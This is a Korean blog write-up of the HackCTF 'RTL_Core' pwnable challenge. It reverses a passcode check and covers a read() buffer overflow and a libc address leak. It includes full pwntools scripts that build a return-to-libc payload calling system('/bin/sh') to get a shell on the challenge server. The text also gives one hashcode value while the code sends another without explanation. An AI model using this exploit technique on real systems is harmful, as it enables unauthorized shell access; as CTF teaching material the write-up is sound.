tmxklab

[HackCTF/Pwnable] RTL_Core 본문

War Game/HackCTF

[HackCTF/Pwnable] RTL_Core

tmxk4221 2020. 2. 23. 22:46

1. 문제확인

 

nc ctf.j0n9hyun.xyz 3015

 

1) 접속

패스워드 입력을 받고 성공 유무를 출력해준 뒤 프로그램이 종료

 

2) IDA를 통해 확인

 

2-1) IDA(Pseudocode)확인 - main()

- gets()로 입력을 받고 입력 값을 check_passcode함수의 인자로 넘겨줘서 hashcode와 비교

- 성공하면 core함수 실행

 

2-2) IDA(Pseudocode)확인 - core()

- ebp로부터 62bytes떨어진 곳에 buf배열 선언

- void *dlsym(void *handle, const char *symbol) : shared library에 포함된 symbol의 위치에 대한 pointer를 찾음

- 즉, 공유 라이브러리에서 printf함수의 주소 값을 찾아 17번째 줄 printf함수를 통해 출력

- read함수를 통해 buf에 100bytes까지 입력 값을 받을 수 잇음 -> bof취약점 존재

 

2-3) IDA(Pseudocode)확인 - check_passcode()

- main함수에서 gets함수를 통해 입력받은 값을 인자로 넘겨 받음

- for문에서 5번 반복하면서 인자의 주소를 4bytes까지 증가시키며 v2에 누적시킴

 

3) $checksec를 통해 elf파일에 걸린 메모리 보호기법 확인


2. 접근방법

1) 먼저, main함수의 if문을 통과하기 위해 hashcode값과 입력 값이 변환된 값과 일치시켜야함

 

[hashcode확인]

- hashcode : 0xc0d9b0a8

 

2) check_passcode함수 확인

for문은 5번에 걸쳐 반복되며 일련의 과정(v2+=*(DWORD)(4*i + a1)을 통해 누적된 값을 v2에 저장하여 return시킴

 

- [ebp-0xc] : 인자 값 위치

- [ebp-0x8] : v2 위치

- [ebp-0x4] : i의 위치

- 41번째 줄 : [인자 값의 주소 값] + i*4의 값을 eax에 저장

- 45번째 줄 : v2의 값 + eax값을 v2에 저장함

- 따라서, 만일 "AAAABBBBCCCCDDDDEEEE"입력을 하면 4bytes씩 끊어서 문자열의 값을 더하므로 0x41414141 + 0x42424242 + 0x43434343 + 0x44444444 + 0x45454545가 된다.

- 그러므로 hashcode의 값을 얻기 위해서 "0xc0d9b0a8" +"0x00000000"*4를 하면 결국 hashcode값이 나오게 된다.

 

3) 위 사실이 맞는지 검증

from pwn import *

p = remote("ctf.j0n9hyun.xyz", 3015)

payload = p32(0xc0d9b0a7)
payload += p32(0)*4


p.recvuntil(":")

p.sendline(payload)
p.interactive()

 

- 수행 결과

 

4) core함수의 실행 결과

- hashcode가 일치하면 core함수가 실행되는데 이 때, core함수에서는 printf함수의 주소 값을 출력해줌

- 하지만, 주소 값이 계속 변경됨에 따라 ASLR이 걸려있음을 확인할 수 있다.

 

4) 결론

  • system함수와 "/bin/sh"의 주소 값을 찾아 RTL을 수행해야 하지만 core함수를 반복 실행한 결과를 통해 printf함수의 주소 값이 계속 변경되는 것을 알 수 있음
  • 하지만, base주소가 계속 변하여 주소 값이 계속 변경되도 base주소로부터 각 함수들의 offset의 크기는 변함이 없으므로 leak된 printf함수의 주소 값과 libc.so.6의 offset의 차이를 통해 base주소를 찾음
  • base주소를 통해 system함수와 "/bin/sh"문자열의 주소를 찾아 RTL수행

3. 풀이

1) leak된 printf함수의 주소와 libc.so.6라이브러리에서 printf함수의 offset을 통해 필요한 주소 찾기

 

2) buf배열의 위치와 read함수

buf배열은 ebp로부터 62bytes까지 떨어져 있지만 read함수에서는 100bytes까지 입력을 받을 수 있으므로 bof수행이 가능하다.

 

3) 페이로드 구성

[ dummy(62bytes) ] + [ dummy(4bytes) ] + [ system() ] + [ dummy(4bytes) ] + [ "/bin/sh" ]

 

 

4) 공격코드 작성

from pwn import *

p = remote("ctf.j0n9hyun.xyz", 3015)
e = ELF("./libc.so.6")

passcode = p32(0xc0d9b0a7)
passcode += p32(0)*4

p.recvuntil(":")

p.sendline(passcode)

p.recvuntil("\n")
p.recv(34)

printf_addr = int(p.recv(10), 16)
print hex(printf_addr)

base = printf_addr - e.symbols['printf']
print hex(base)

system_addr = base + e.symbols['system']
print hex(system_addr)

binsh_addr = base + list(e.search("/bin/sh"))[0]

payload = "A"*66
payload += p32(system_addr)
payload += "A"*4
payload += p32(binsh_addr)

p.sendline(payload)

p.interactive()

 

5) 공격 실행

'War Game > HackCTF' 카테고리의 다른 글

[HackCTF/Pwnable] Look at me  (0) 2020.03.07
[HackCTF/Pwnable] Beginner_Heap  (0) 2020.03.07
[HackCTF/Pwnable] Random Key  (0) 2020.02.23
[HackCTF/Pwnable] 1996  (0) 2020.02.23
[HackCTF/Pwnable] Poet  (0) 2020.02.22
Comments